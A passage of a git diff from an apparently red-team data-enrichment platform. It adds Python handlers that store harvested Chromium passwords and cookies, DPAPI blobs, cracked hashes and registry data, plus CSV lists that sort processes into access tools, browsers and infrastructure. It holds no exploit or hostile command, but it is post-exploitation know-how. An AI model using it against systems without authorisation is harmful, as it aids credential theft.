i.password_value_enc, + i.encryption_type, + i.masterkey_guid, + i.is_decrypted, + i.password_value_dec, + ) + if i.originating_object_id: + data.originating_object_id = uuid.UUID(i.originating_object_id) + + await self.db.add_chromium_login(data) + + @aio.time(Summary("process_chromium_cookie_processed", "Time spent processing a chromium_cookie queue")) # type: ignore + async def process_chromium_cookie(self, event: pb.ChromiumCookieMessage): + """Main function to process chromium_cookie queue.""" + + m = event.metadata + await self.ensure_project_exists(m) + + for i in event.data: + data = ChromiumCookie( + m.agent_id, + m.project, + m.source, + m.timestamp.ToDatetime(), + m.expiration.ToDatetime(), + i.user_data_directory, + i.username, + i.browser, + i.host_key, + i.name, + i.path, + i.creation.ToDatetime(), + i.expires.ToDatetime(), + i.last_access.ToDatetime(), + i.last_update.ToDatetime(), + i.is_secure, + i.is_httponly, + i.is_session, + i.samesite, + i.source_port, + i.value_enc, + i.encryption_type, + i.masterkey_guid, + i.is_decrypted, + i.value_dec, + ) + + if not data.originating_object_id or data.masterkey_guid == "": + data.masterkey_guid = "00000000-0000-0000-0000-000000000000" + + if i.originating_object_id: + data.originating_object_id = uuid.UUID(i.originating_object_id) + else: + data.originating_object_id = uuid.UUID("00000000-0000-0000-0000-000000000000") + + await self.db.add_chromium_cookie(data) + + @aio.time(Summary("process_chromium_state_file_processed", "Time spent processing a chromium_state_file queue")) # type: ignore + async def process_chromium_state_file_processed(self, event: pb.ChromiumStateFileMessage): + """Main function to process chromium_state_file queue.""" + + m = event.metadata + await self.ensure_project_exists(m) + + for i in event.data: + data = ChromiumStateFile( + m.agent_id, + m.project, + m.source, + m.timestamp.ToDatetime(), + m.expiration.ToDatetime(), + i.user_data_directory, + i.username, + i.browser, + i.installation_date.ToDatetime(), + i.launch_count, + i.masterkey_guid, + i.key_bytes_enc, + i.app_bound_fixed_data_enc, + i.is_decrypted, + i.key_bytes_dec, + i.app_bound_fixed_data_dec, + ) + if i.originating_object_id: + data.originating_object_id = uuid.UUID(i.originating_object_id) + + await self.db.add_chromium_state_file(data) + + @aio.time(Summary("process_authentication_data", "Time spent processing an authentication_data queue")) # type: ignore + async def process_auth_data(self, event: pb.AuthenticationDataIngestionMessage): + """Main function to process authentication_data queue.""" + + m = event.metadata + await self.ensure_project_exists(m) + + for i in event.data: + if not i.originating_object_id: + i.originating_object_id = "00000000-0000-0000-0000-000000000000" + + data = AuthenticationData( + m.agent_id, + m.project, + m.source, + m.timestamp.ToDatetime(), + m.expiration.ToDatetime(), + i.data, + i.type, + i.is_file, + i.uri, + i.username, + i.notes, + uuid.UUID(i.originating_object_id), + ) + + await self.db.add_authentication_data(data) + + @aio.time(Summary("process_extracted_hash", "Time spent processing an extracted_hash queue")) # type: ignore + async def process_extracted_hash(self, event: pb.ExtractedHashMessage): + """Main function to process extracted_hash queue.""" + + await self.ensure_project_exists(event.metadata) + + for i in event.data: + data = ExtractedHash( + project_id=event.metadata.project, + agent_id=event.metadata.agent_id, + source=event.metadata.source, + timestamp=event.metadata.timestamp.ToDatetime(), + expiration=event.metadata.expiration.ToDatetime(), + hash_type=i.hash_type, + hash_value=i.hash_value, + hashcat_formatted_value=i.hashcat_formatted_value, + is_cracked=i.is_cracked, + checked_against_top_passwords=i.checked_against_top_passwords, + plaintext_value=i.plaintext_value, + ) + + if i.originating_object_id: + data.originating_object_id = uuid.UUID(i.originating_object_id) + + await self.db.add_extracted_hash(data) + + @aio.time(Summary("postgresconnector_process_dpapi_blob", "Time spent processing a dpapi_blob queue")) # type: ignore + async def process_dpapi_blob(self, event: pb.DpapiBlobMessage): + """Main function to process dpapi_blob messages.""" + + await self.ensure_project_exists(event.metadata) + + for i in event.data: + if i.originating_object_id: + originating_object_id = uuid.UUID(i.originating_object_id) + else: + originating_object_id = uuid.UUID("00000000-0000-0000-0000-000000000000") + if i.originating_registry_id: + originating_registry_id = uuid.UUID(i.originating_registry_id) + else: + originating_registry_id = uuid.UUID("00000000-0000-0000-0000-000000000000") + + d = DpapiBlob( + project_id=event.metadata.project, + agent_id=event.metadata.agent_id, + source=event.metadata.source, + timestamp=event.metadata.timestamp.ToDatetime(), + expiration=event.metadata.expiration.ToDatetime(), + dpapi_blob_id=i.dpapi_blob_id, + is_decrypted=i.is_decrypted, + is_file=i.is_file, + masterkey_guid=uuid.UUID(i.masterkey_guid), + originating_object_id=originating_object_id, + originating_registry_id=originating_registry_id + ) + + if i.dec_data_bytes: + d.dec_data_bytes = i.dec_data_bytes + if i.dec_data_object_id: + d.dec_data_object_id = uuid.UUID(i.dec_data_object_id) + if i.enc_data_bytes: + d.enc_data_bytes = i.enc_data_bytes + if i.enc_data_object_id: + d.enc_data_object_id = uuid.UUID(i.enc_data_object_id) + + await self.db.add_dpapi_blob(d) + + @aio.time(Summary("process_registry_value", "Time spent processing a registry_value message")) # type: ignore + async def process_registry_value(self, event: pb.RegistryValueIngestionMessage): + """Adds a registry value to the database anytime a new one is added to Nemesis. + + Args: + event (pb.RegistryValueIngestionMessage): The message containing the registry value(s) to add. + """ + await self.ensure_project_exists(event.metadata) + await self.reg_watcher.process_registry_value(event) + + @aio.time(Summary("process_path_list", "Time spent processing a path_list message")) # type: ignore + async def process_path_list(self, event: pb.PathListIngestionMessage): + """Adds a path list to the database anytime a new one is added to Nemesis. + + Args: + event (pb.PathListIngestionMessage): The message containing the path list(s) to add. + """ + m = event.metadata + await self.ensure_project_exists(m) + + for data in event.data: + path = data.path + if not path.endswith("\\"): + path = f"{path}\\" + + if re.match("^[a-zA-Z]{1}:\\.*", path): + # this is a file system path + + for item in data.items: + if item.endswith("\\"): + object_type = "folder" + else: + object_type = "file" + + f = FileInfo( + m.agent_id, + m.project, + m.source, + m.timestamp.ToDatetime(), + m.expiration.ToDatetime(), + path=f"{path}{item}", + name=item, + type=object_type, + ) + + await self.db.add_filesystem_object(f) + else: + await logger.awarning("Unhandled path", path=path) + # elif re.match("^(HKCR|HKCU|HKLM|HKU|HKCC):.*", path, re.IGNORECASE): + # # TODO: registry hive path + # pass + # elif re.match("^//.+/.*", path): + # # TODO: remote file path + # pass + + @aio.time(Summary("process_file_info", "Time spent processing a file_info message")) # type: ignore + async def process_file_info(self, event: pb.FileInformationIngestionMessage): + """Adds file information to the database anytime a new one is added to Nemesis. + + Args: + event (pb.FileInformationIngestionMessage): The message containing the file information(s) to add. + """ + m = event.metadata + await self.ensure_project_exists(m) + + for data in event.data: + path = data.path + name = ntpath.basename(path) + temp = ntpath.splitext(path) + if len(temp) > 1: + extension = temp[-1] + else: + extension = "" + + if re.match(r"^[a-zA-Z]{1}:[\\/].*", path): + # this is a file system path + + f = FileInfo( + m.agent_id, + m.project, + m.source, + m.timestamp.ToDatetime(), + m.expiration.ToDatetime(), + path=data.path, + name=name, + extension=extension, + type=data.type, + size=data.size, + access_time=data.access_time.ToDatetime(), + creation_time=data.creation_time.ToDatetime(), + modification_time=data.modification_time.ToDatetime(), + owner=data.owner, + sddl=data.sddl, + version_info=data.version_info, + ) + + await self.db.add_filesystem_object(f) + else: + await logger.awarning("Unhandled path", path=path) + + @aio.time(Summary("process_file_data_enriched_postgres", "Time spent processing a process_file_data_enriched message")) # type: ignore + async def process_file_data_enriched(self, event: pb.FileDataEnrichedMessage): + """Adds file information to the database anytime a new one is added to Nemesis. + + Args: + event (pb.FileDataEnrichedMessage): The message containing the file to add. + """ + m = event.metadata + await self.ensure_project_exists(m) + + for data in event.data: + path = data.path + name = ntpath.basename(path) + temp = ntpath.splitext(path) + if len(temp) > 1: + extension = temp[-1] + else: + extension = "" + + # first add a basic file info entry + f = FileInfoDataEnriched( + m.agent_id, + m.project, + m.source, + m.timestamp.ToDatetime(), + m.expiration.ToDatetime(), + path=data.path, + name=name, + extension=extension, + size=data.size, + magic_type=data.magic_type, + nemesis_file_id=data.object_id, + ) + await self.db.add_filesystem_object_from_enriched(f) + + file = MessageToDict(data, preserving_proto_field_name=True) + tags = await self.get_tags(file) + + # fill in some defaults + if not data.converted_pdf: + data.converted_pdf = "00000000-0000-0000-0000-000000000000" + if not data.extracted_plaintext: + data.extracted_plaintext = "00000000-0000-0000-0000-000000000000" + if not data.extracted_source: + data.extracted_source = "00000000-0000-0000-0000-000000000000" + if not data.originating_object_id: + data.originating_object_id = "00000000-0000-0000-0000-000000000000" + + # then add a processed data entry + f = FileDataEnriched( + m.agent_id, + m.project, + m.source, + m.timestamp.ToDatetime(), + m.expiration.ToDatetime(), + object_id=data.object_id, + path=data.path, + name=name, + size=data.size, + md5=data.hashes.md5, + sha1=data.hashes.sha1, + sha256=data.hashes.sha256, + nemesis_file_type=data.nemesis_file_type, + magic_type=data.magic_type, + converted_pdf_id=data.converted_pdf, + extracted_plaintext_id=data.extracted_plaintext, + extracted_source_id=data.extracted_source, + originating_object_id=data.originating_object_id, + tags=tags, + ) + + await self.db.add_file_data_enriched(f) + + @aio.time(Summary("process_named_pipe", "Time spent processing an named_pipe queue")) # type: ignore + async def process_named_pipe(self, event: pb.NamedPipeIngestionMessage): + """Main function to process named_pipe queue.""" + + await self.ensure_project_exists(event.metadata) + + for i in event.data: + data = NamedPipe( + project_id=event.metadata.project, + agent_id=event.metadata.agent_id, + source=event.metadata.source, + timestamp=event.metadata.timestamp.ToDatetime(), + expiration=event.metadata.expiration.ToDatetime(), + name=i.name, + server_process_name=i.server_process_name, + server_process_id=i.server_process_id, + server_process_path=i.server_process_path, + sddl=i.sddl, + ) + + await self.db.add_named_pipe(data) + + @aio.time(Summary("process_network_connection", "Time spent processing an network_connection queue")) # type: ignore + async def process_network_connection(self, event: pb.NetworkConnectionIngestionMessage): + """Main function to process network_connection queue.""" + + await self.ensure_project_exists(event.metadata) + + for i in event.data: + data = NetworkConnection( + project_id=event.metadata.project, + agent_id=event.metadata.agent_id, + source=event.metadata.source, + timestamp=event.metadata.timestamp.ToDatetime(), + expiration=event.metadata.expiration.ToDatetime(), + local_address=i.local_address, + remote_address=i.remote_address, + protocol=i.protocol, + state=i.state, + process_id=i.process_id, + process_name=i.process_name, + service=i.service, + ) + + await self.db.add_network_connection(data) + + async def get_tags(self, file: dict[str, Any]): + tags = [] + if "contains_dpapi" in file and file["contains_dpapi"]: + tags.append(constants.E_TAG_CONTAINS_DPAPI) + if "noseyparker" in file and file["noseyparker"]: + tags.append(constants.E_TAG_NOSEYPARKER_RESULTS) + if "parsed_data" in file and file["parsed_data"]: + if "has_parsed_credentials" in file["parsed_data"] and file["parsed_data"]["has_parsed_credentials"]: + tags.append(constants.E_TAG_PARSED_CREDS) + if "is_encrypted" in file["parsed_data"] and file["parsed_data"]["is_encrypted"]: + tags.append(constants.E_TAG_ENCRYPTED) + if "analysis" in file and file["analysis"] and "dotnet_analysis" in file["analysis"] and file["analysis"]["dotnet_analysis"]: + if "has_deserialization" in file["analysis"]["dotnet_analysis"] and file["analysis"]["dotnet_analysis"]["has_deserialization"]: + tags.append(constants.E_TAG_DESERIALIZATION) + if "has_cmd_execution" in file["analysis"]["dotnet_analysis"] and file["analysis"]["dotnet_analysis"]["has_cmd_execution"]: + tags.append(constants.E_TAG_CMD_EXECUTION) + if "has_remoting" in file["analysis"]["dotnet_analysis"] and file["analysis"]["dotnet_analysis"]["has_remoting"]: + tags.append(constants.E_TAG_REMOTING) + if "yara_matches" in file and file["yara_matches"]: + for rule in file["yara_matches"]: + if rule not in constants.EXCLUDED_YARA_RULES: + tags.append(constants.E_TAG_YARA_MATCHES) + if "canaries" in file and file["canaries"] and file["canaries"]["canaries_present"]: + tags.append(constants.E_TAG_FILE_CANARY) + + return list(set(tags)) diff --git a/cmd/enrichment/enrichment/tasks/postgres_connector/registry_path_utils.py b/cmd/enrichment/enrichment/tasks/postgres_connector/registry_path_utils.py new file mode 100644 index 0000000..79b3359 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/postgres_connector/registry_path_utils.py @@ -0,0 +1,127 @@ +# Standard Libraries +import re +from typing import List, Optional, Tuple + +REGISTRY_HIVE_NAME_MAP: dict[str, str] = { + "HKEY_LOCAL_MACHINE": "HKLM", + "HKEY_CURRENT_USER": "HKCU", + "HKEY_CLASSES_ROOT": "HKCR", + "HKEY_CURRENT_CONFIG": "HKCC", + "HKEY_PERFORMANCE_DATA": "HKPD", + "HKEY_PERFORMANCE_TEXT": "HKPT", + "HKEY_DYN_DATA": "HKDD", + "HKEY_USERS": "HKU", +} +REGISTRY_HIVE_SHORT_NAMES: List[str] = list(REGISTRY_HIVE_NAME_MAP.values()) +REGISTRY_HIVE_LONG_NAMES: List[str] = list(REGISTRY_HIVE_NAME_MAP.keys()) + + +def normalize_slashes(path: str) -> str: + """Normalizes a path by removing duplicate slashes and ensuring it does not end with a slash + + Args: + path (str): The path to normalize + + Returns: + The normalized path + """ + + # remove duplicate backslashes + path = re.sub(r"\\+", r"\\", path) + + # Ensure the path does not end with a slash + if path.endswith("\\"): + path = path[:-1] + + return path + + +def normalize_hive_name(path: str) -> str: + """Normalizes the hive name in a registry path to its short name + + Args: + path (str): The absolute registry path to a normalized registry path + + Raises: + ValueError: If the hive is not specified in the path + ValueError: If the hive is not a valid short or long hive name + + Returns: + The normalized registry path + """ + hive, remaining_path = parse_next_subkey(path) + if hive is None: + raise ValueError(f"No registry hive specified. Path: {path}") + + # Don't need to check if remaining_path is None since + # hives themselves can have registry values + + # Normalize the hive name to the short name + hive = hive.upper() + if hive in REGISTRY_HIVE_SHORT_NAMES: + # Already the short name + pass + elif hive in REGISTRY_HIVE_LONG_NAMES: + # Convert the long name to the short name + hive = REGISTRY_HIVE_NAME_MAP[hive] + else: + raise ValueError(f"Invalid registry hive. Path: {path}") + + if remaining_path is None: + return hive + else: + return hive + "\\" + remaining_path + + +def normalize_registry_path(path: str) -> str: + """Normalizes an absolute registry path, converting it + to the short name of the hive, removing double slashes, + and ensuring it does not end with a slash + + Args: + path (str): An absolute registry path + + Returns: + The normalized registry path. + + Raises: + ValueError: If the path does not contain a registry hive + """ + + path = normalize_slashes(path) + path = normalize_hive_name(path) + return path + + +def parse_next_subkey(path: str) -> Tuple[str, Optional[str]]: + """Parses the next key name from a given registry path and returns the subkey and the remaining unparsed registry path. + + Args: + path (str): Normalized registry path. Example: "hklm\\system\\currentcontrolset\\services\\lanmanserver\\shares\\security" + + Returns: + Tuple[Optional[str], Optional[str]]: (subkey, remaining_path) - The subkey and the remaining unparsed registry path. + + If there is no subkey, then the subkey will be None. + If there is no remaining path, then the remaining path will be None. + + Raises: + ValueError: If the path is empty + """ + + if not path: + raise ValueError("path cannot be empty") + + slash_index = path.find("\\") + + if slash_index == -1: + # if there is no slash, then there is no more subkeys (example: path = "security") + return (path, None) + + subkey = path[:slash_index] + remaining_path = path[slash_index + 1 :] + + if not remaining_path: + remaining_path = None + + return (subkey, remaining_path) diff --git a/cmd/enrichment/enrichment/tasks/postgres_connector/registry_watcher.py b/cmd/enrichment/enrichment/tasks/postgres_connector/registry_watcher.py new file mode 100644 index 0000000..9cd8e6c --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/postgres_connector/registry_watcher.py @@ -0,0 +1,238 @@ +# Standard Libraries +import base64 +import re +from typing import Dict, List, Set + +# 3rd Party Libraries +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb +import structlog +from enrichment.lib.nemesis_db import NemesisDb, RegistryObject, ServiceColumn +from enrichment.tasks.postgres_connector.registry_path_utils import ( + normalize_registry_path, parse_next_subkey) +from nemesiscommon.messaging import MessageQueueProducerInterface +from winacl.dtyp.ace import ACCESS_ALLOWED_CALLBACK_ACE +from winacl.dtyp.security_descriptor import SECURITY_DESCRIPTOR + +logger = structlog.get_logger(module=__name__) + + +class RegistryWatcher: + db: NemesisDb + out_q_dpapiblob: MessageQueueProducerInterface + + # Constants + SERVICES_REGISTRY_PATH_REGEX: re.Pattern = re.compile( + r"^hklm[:]?\\system\\(currentcontrolset|controlset001|controlset002)\\services\\", re.IGNORECASE + ) + SERVICES_REGISTRY_PATH_MIN_LEN: int = len("hklm\\system\\controlset001\\services\\") + SERVICE_REG_VALUE_TO_COLUMN: Dict[str, ServiceColumn] = { + "displayname": ServiceColumn.DISPLAY_NAME, + "description": ServiceColumn.DESCRIPTION, + "imagepath": ServiceColumn.BINARY_PATH, + "objectname": ServiceColumn.USERNAME, + "type": ServiceColumn.SERVICE_TYPE, + "start": ServiceColumn.START_TYPE, + } + SERVICES_ROOT_VALUE_NAMES: Set[str] = set(SERVICE_REG_VALUE_TO_COLUMN.keys()) + SERVICE_PARAMETER_VALUE_NAMES: List[str] = ["servicedll", "servicemain"] + SERVICE_SECURITY_VALUE_NAMES: List[str] = [ + "security", + ] + + def __init__(self, db: NemesisDb, out_q_dpapiblob: MessageQueueProducerInterface) -> None: + self.db = db + self.out_q_dpapiblob = out_q_dpapiblob + + async def process_registry_value(self, event: pb.RegistryValueIngestionMessage) -> None: + metadata = event.metadata + + for d in event.data: + normalized = await self.normalize_registry_value(d) + + unique_db_id = await self.save_reg_value_to_db(metadata, normalized) + + if d.tags and "dpapi_value" in d.tags: + # if the registry value is tagged as containing DPAPI data carve it + try: + raw_bytes = base64.b64decode(d.value) + carved = await helpers.carve_dpapi_blobs_from_reg_key(raw_bytes, unique_db_id, metadata) + if carved is not None: + (dpapi_blob_ids, dpapi_blob_messages) = carved + # publish any carved DPAPI blobs to the queue + for dpapi_blob_message in dpapi_blob_messages: + await self.out_q_dpapiblob.Send(dpapi_blob_message.SerializeToString()) + except Exception as e: + logger.exception( + "Carving DPAPI blob from registry key failed", + e, + key=d.key, + value_name=d.value_name, + unique_db_id=unique_db_id, + project=metadata.project, + agent_id=metadata.agent_id, + ) + # TODO: Need to provide support for services specifying info in both key's default values + # or in in registry values. For example, an SDDL can be specified in a + # or "Services\\Security ! (Default)"" or "Services\ ! Security" + await self.build_service_from_registry(metadata, normalized) + + async def normalize_registry_value(self, r: pb.RegistryValueIngestion) -> pb.RegistryValueIngestion: + """Normalizes a registry value""" + + # Normalize the key path + r.key = normalize_registry_path(r.key) + return r + + async def save_reg_value_to_db(self, m: pb.Metadata, r: pb.RegistryValueIngestion) -> str: + """Saves a registry value to the database + + Args: + metadata (pb.Metadata): Protobuf object containing the metadata. + r (pb.RegistryValueIngestion): Protobuf object containing the registry value. + """ + reg_data = RegistryObject( + m.agent_id, + m.project, + m.source, + m.timestamp.ToDatetime(), + m.expiration.ToDatetime(), + r.key, + r.value_kind, + r.sddl, + r.value_name, + r.value, + r.tags, + ) + + unique_db_id = await self.db.add_registry_object(reg_data) + return unique_db_id + + async def build_service_from_registry(self, metadata: pb.Metadata, data: pb.RegistryValueIngestion) -> None: + keyAbsPath = data.key + + if len(keyAbsPath) <= self.SERVICES_REGISTRY_PATH_MIN_LEN: + return + + regex_match = self.SERVICES_REGISTRY_PATH_REGEX.match(keyAbsPath) + if not regex_match: + return + + if data.value_name: + value_name = data.value_name.lower() + else: + value_name = None + + value = data.value + + remaining_path = keyAbsPath[regex_match.end() :] + service_name, remaining_path = parse_next_subkey(remaining_path) + + if remaining_path: + subkey, remaining_path = parse_next_subkey(remaining_path) + else: + subkey = None + + if not value_name: + await self.db.add_service(metadata, service_name) + return + + if not subkey: + # We're in the service's root key (e.g. "Services\\") + await self.handle_service_root_key(metadata, service_name, value_name, value) + else: + if remaining_path: + # If we're in a subkey that we don't support yet (e.g. "Services\\Parameters\Subkey") + return + + if subkey.lower() == "parameters": + await self.handle_service_parameters_key(metadata, service_name, value_name, value) + if subkey.lower() == "security": + await self.handle_service_security_key(metadata, service_name, value_name, value) + + def convert_raw_security_descriptor_to_sddl(self, sd_bytes: bytes) -> str: + """ + Converts raw security descritor bytes to a SDDL string. + """ + return SECURITY_DESCRIPTOR.from_bytes(sd_bytes).to_sddl() + + async def handle_service_root_key(self, metadata: pb.Metadata, service_name: str, value_name: str, value: str) -> None: + """Handles ingestion of values from a service's root registry key("HKLM\\SYSTEM\\CurrentControlSet\\Services\\SERVICE_NAME"). + + Args: + metadata (pb.Metadata): The metadata about the registy value. + service_name (str): Name of the service associated with the parameters key. + value_name (str): Name of the registry value. + value (str): Value of the registry value. + """ + value_name_lower = value_name.lower() + if value_name_lower not in self.SERVICE_REG_VALUE_TO_COLUMN: + return + + column: ServiceColumn = self.SERVICE_REG_VALUE_TO_COLUMN[value_name_lower] + + match value_name_lower: + case "imagepath": + await self.db.add_service_property(metadata, service_name, column, value) + command_line = helpers.extract_binary_path(value) + if command_line: + await self.db.add_service_property(metadata, service_name, ServiceColumn.COMMAND_LINE, command_line) + + case "start": + await self.db.add_service_property(metadata, service_name, column, int(value)) + case "type": + await self.db.add_service_property(metadata, service_name, column, int(value)) + case _: + if value_name_lower in self.SERVICES_ROOT_VALUE_NAMES: + await self.db.add_service_property(metadata, service_name, column, value) + + async def handle_service_parameters_key(self, metadata: pb.Metadata, service_name: str, value_name: str, value: str) -> None: + """Handles ingestion of values from the "Services\\SERVICE_NAME\\Parameters" registry key. + + Args: + metadata (pb.Metadata): The metadata about the registy value. + service_name (str): Name of the service associated with the parameters key. + value_name (str): Name of the registry value. + value (str): Value of the registry value. + """ + if value_name not in self.SERVICE_PARAMETER_VALUE_NAMES: + return + + if value_name == "servicedll": + await self.db.add_service_property(metadata, service_name, ServiceColumn.SERVICE_DLL_PATH, value) + elif value_name == "servicemain": + await self.db.add_service_property(metadata, service_name, ServiceColumn.SERVICE_DLL_ENTRYPOINT, value) + + async def handle_service_security_key(self, metadata: pb.Metadata, service_name: str, value_name: str, value: str) -> None: + """Handles ingestion of values from the "Services\\SERVICE_NAME\\Security" registry key. + + Args: + metadata (pb.Metadata): The metadata about the registy value. + service_name (str): Name of the service associated with the parameters key. + value_name (str): Name of the registry value. + value (str): Value of the registry value. + """ + if value_name not in self.SERVICE_SECURITY_VALUE_NAMES: + return + + try: + sec_desc_bytes = base64.b64decode(value) + sddl = self.convert_raw_security_descriptor_to_sddl(sec_desc_bytes) + await self.db.add_service_property(metadata, service_name, ServiceColumn.SDDL, sddl) + except AttributeError as e: + if e.name == "to_sddl" and type(e.obj) == ACCESS_ALLOWED_CALLBACK_ACE: + logger.warning( + "Data loss due to bytes-to-SDDL conversion failing due to a known bug: there's an ACCESS_ALLOWED_CALLBACK_ACE in the security descriptor (see https://github.com/skelsec/winacl/issues/10)", + project=metadata.project, + agent_id=metadata.agent_id, + service=service_name, + ) + else: + logger.exception( + "Bytes to SDDL conversion failed", + e, + project=metadata.project, + agent_id=metadata.agent_id, + service=service_name, + base64_bytes=value, + ) diff --git a/cmd/enrichment/enrichment/tasks/process_categorizer/categorizer.py b/cmd/enrichment/enrichment/tasks/process_categorizer/categorizer.py new file mode 100644 index 0000000..8ffc0a3 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/process_categorizer/categorizer.py @@ -0,0 +1,80 @@ +# Standard Libraries +import os +from abc import ABC, abstractmethod +from dataclasses import dataclass +from typing import Dict, Optional + + +@dataclass +class ProcessCategory: + category: str + description: Optional[str] + + +class ProcessCategorizerInterface(ABC): + @abstractmethod + async def lookup(self, name: str) -> ProcessCategory: + pass + + +class CsvProcessCategorizer(ProcessCategorizerInterface): + processCategoryMap: Dict[str, ProcessCategory] = {} + data_path: str + _initialized: bool = False + _category_files: Dict[str, str] = { + "AccessTool": "access_tools.csv", + "Browser": "browsers.csv", + "Infrastructure": "infrastructure.csv", + "Other": "other.csv", + "MiscAwareness": "misc_awareness.csv", + "Security": "security_products.csv", + } + + def __init__(self, data_path: Optional[str] = None): + if data_path: + self.data_path = data_path + else: + self.data_path = os.path.join(os.path.dirname(__file__), "data") + + def __load_categories(self) -> None: + for category_name, filename in self._category_files.items(): + filepath = os.path.join(self.data_path, filename) + self.__load_csv(category_name, filepath) + + def __load_csv(self, category_name: str, filepath: str) -> None: + csv = open(filepath, "r", encoding="utf-8") + lines = csv.readlines() + csv.close() + + for line in lines: + line = line.strip() + if line == "" or line.startswith("#"): + continue + + parts = line.split(",", 1) + + process_name = parts[0].lower() + + if len(parts) == 1: + description = None + else: + description = parts[1] + + category = ProcessCategory(category_name, description) + + # if process_name in self.processCategoryMap: + # raise Exception(f"Duplicate process category for the process {process_name}") + # else: + # self.processCategoryMap[process_name] = category + self.processCategoryMap[process_name] = category + + async def lookup(self, name: str) -> ProcessCategory: + if not self._initialized: + self.__load_categories() + self._initialized = True + + name = name.lower() + if name in self.processCategoryMap: + return self.processCategoryMap[name] + else: + return ProcessCategory("Unknown", "Unknown") diff --git a/cmd/enrichment/enrichment/tasks/process_categorizer/data/access_tools.csv b/cmd/enrichment/enrichment/tasks/process_categorizer/data/access_tools.csv new file mode 100644 index 0000000..a99a87b --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/process_categorizer/data/access_tools.csv @@ -0,0 +1,47 @@ +# Format: , - +1Password.exe,1Password +BvSsh.exe,BitVis SSH +dbeaver.exe,Database Querying/Management Tool +DWRCS.exe,DameWare - Remote Control +DWRCST.exe,DameWare - Remote Control +filezilla.exe,FileZilla +ftp.exe,FileZilla FTP +fzsftp.exe,FileZilla sFTP +JumpConnect.exe,Jump Desktop Connect - Jump Desktop Connect +JumpDesktop.exe,Jump Desktop - Jump Desktop +JumpService.exe,Jump Desktop - Jump Desktop Service +keepass.exe,Password Manager +Microsoft.ConfigurationManagement.exe,Microsoft - SCCM Admin Console +mmc.exe,Microsoft Windows - Microsoft Management Console +mstsc.exe,Windows RDP Client +PAGEANT.EXE,Putty Key Agent +plink.exe,SSH Client +powershell.exe,Microsoft Windows - PowerShell +PowerShell_ISE.exe,Microsoft Windows - PowerShell ISE +pritunl.exe,VPN Client +pritunl-service.exe,VPN Client +PSCP.EXE,Putty SSH Client +PSFTP.EXE,Putty FTP Client +PsExec.exe,Sysinternals PsExec +putty.exe,Putty SSH Client +RDCMan.exe,Remote Desktop Connection Manager +Receiver.exe,Citrix - Receiver Application +SecurID.exe,RSA Secure ID +SecureCRT.exe,SSH Client +SelfService.exe,Citrix - ICA SelfService +SelfServicePlugin.exe,Citrix - ICA SelfServicePlugin +ssh.exe,SSH Client +SuperPutty.exe,SSH Client +synergyc.exe, Synergy - Share a mouse/keyboard across computers +synergyd.exe, Synergy - Share a mouse/keyboard across computers +TeamViewer.exe,TeamViewer +tv_x64.exe,TeamViewer +tv_w32.exe,TeamViewer +Viscosity.exe,Viscosity VPN Client +ViscosityService.exe,Viscosity - ViscosityService +vnc.exe,VNC +vpnagent.exe,Cisco AnyConnect Secure Mobility Client - VPN Agent Service +wfcrun32.exe,Citrix - ICA Client - Connection Manager +winpty-agent.exe,Putty Agent +winvnc.exe,VNC +WinSCP.exe,WinScp SSH Client \ No newline at end of file diff --git a/cmd/enrichment/enrichment/tasks/process_categorizer/data/browsers.csv b/cmd/enrichment/enrichment/tasks/process_categorizer/data/browsers.csv new file mode 100644 index 0000000..9425957 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/process_categorizer/data/browsers.csv @@ -0,0 +1,7 @@ +# Format: , - +chrome.exe,Google Chrome +firefox.exe,Mozilla Firefox +iexplore.exe,Microsoft Internet Explorer +microsoftedge.exe,Microsoft Edge +microsoftedgecp.exe,Microsoft Edge +msedge.exe,Microsoft Edge \ No newline at end of file diff --git a/cmd/enrichment/enrichment/tasks/process_categorizer/data/infrastructure.csv b/cmd/enrichment/enrichment/tasks/process_categorizer/data/infrastructure.csv new file mode 100644 index 0000000..8bd5ed6 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/process_categorizer/data/infrastructure.csv @@ -0,0 +1,26 @@ +# Format: , - +btservice.exe,BeyondTrust PowerBroker (selective user elevation) +certsrv.exe,Microsoft Windows - Certificate Service +CcmExec.exe,System Center Configuration Manager - Host Process +CmRcService.exe,System Center Configuration Manager - Remote Control Service +DFSRs.exe,Microsoft Windows - Distributed File System Replication +dns.exe,Microsoft Windows - Domain Name System (DNS) Server +LMIGuardian.exe,LogMeIn +LogMeInSystray.exe,LogMeIn +miiserver.exe,Microsoft Azure AD Connect - Synchronization service. +NomadBranch.exe,1E - NomadBranch +policyHost.exe,Microsoft - Policy Platform Service (used by SCCM) +PXELiteServer.exe,1E - NomadBranch PXE Server +PSEXESVC.exe,Sysinternals PsExec - PsExec Service +RaMaint.exe,LogMeIn +sqlservr.exe,Microsoft SQL Server - SQL Server Windows NT +sqlwriter.exe,Microsoft SQL Server - SQL Server VSS Writer +TeamViewer_Service.exe,TeamViewer +VGAuthService.exe,VMware Workstation - VMware Guest Authentication Service +vmacthlp.exe,VMware Tools - VMware Activation Helper +vmtoolsd.exe,VMware Tools - VMware Tools Core Service +vmware-converter-a.exe,VMware vCenter Converter Standalone - VMware Converter Service +vmware-converter.exe,VMware vCenter Converter Standalone - VMware Converter Service +ZSAService.exe,ZScaler +ZSATray.exe,ZScaler +ZSATunnel.exe,ZScaler \ No newline at end of file diff --git a/cmd/enrichment/enrichment/tasks/process_categorizer/data/misc_awareness.csv b/cmd/enrichment/enrichment/tasks/process_categorizer/data/misc_awareness.csv new file mode 100644 index 0000000..82b5b1c --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/process_categorizer/data/misc_awareness.csv @@ -0,0 +1,5 @@ +# Format: , - +logonui.exe,Windows Logon User Interface Host +scrnsave.exe,Screen Saver +wmiprvse.exe,Microsoft Windows - WMI Provider Host +werfault.exe,Windows Error Reporting - Did you crash a process? diff --git a/cmd/enrichment/enrichment/tasks/process_categorizer/data/other.csv b/cmd/enrichment/enrichment/tasks/process_categorizer/data/other.csv new file mode 100644 index 0000000..f2798f2 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/process_categorizer/data/other.csv @@ -0,0 +1,221 @@ +# Format: , - +[System Process],Microsoft Windows - System Idle Process +AcroRd32.exe,Adobe - Acrobat +acrotray.exe, Adobe - Acrobat Tray +AdminService.exe,Windows (R) Win 7 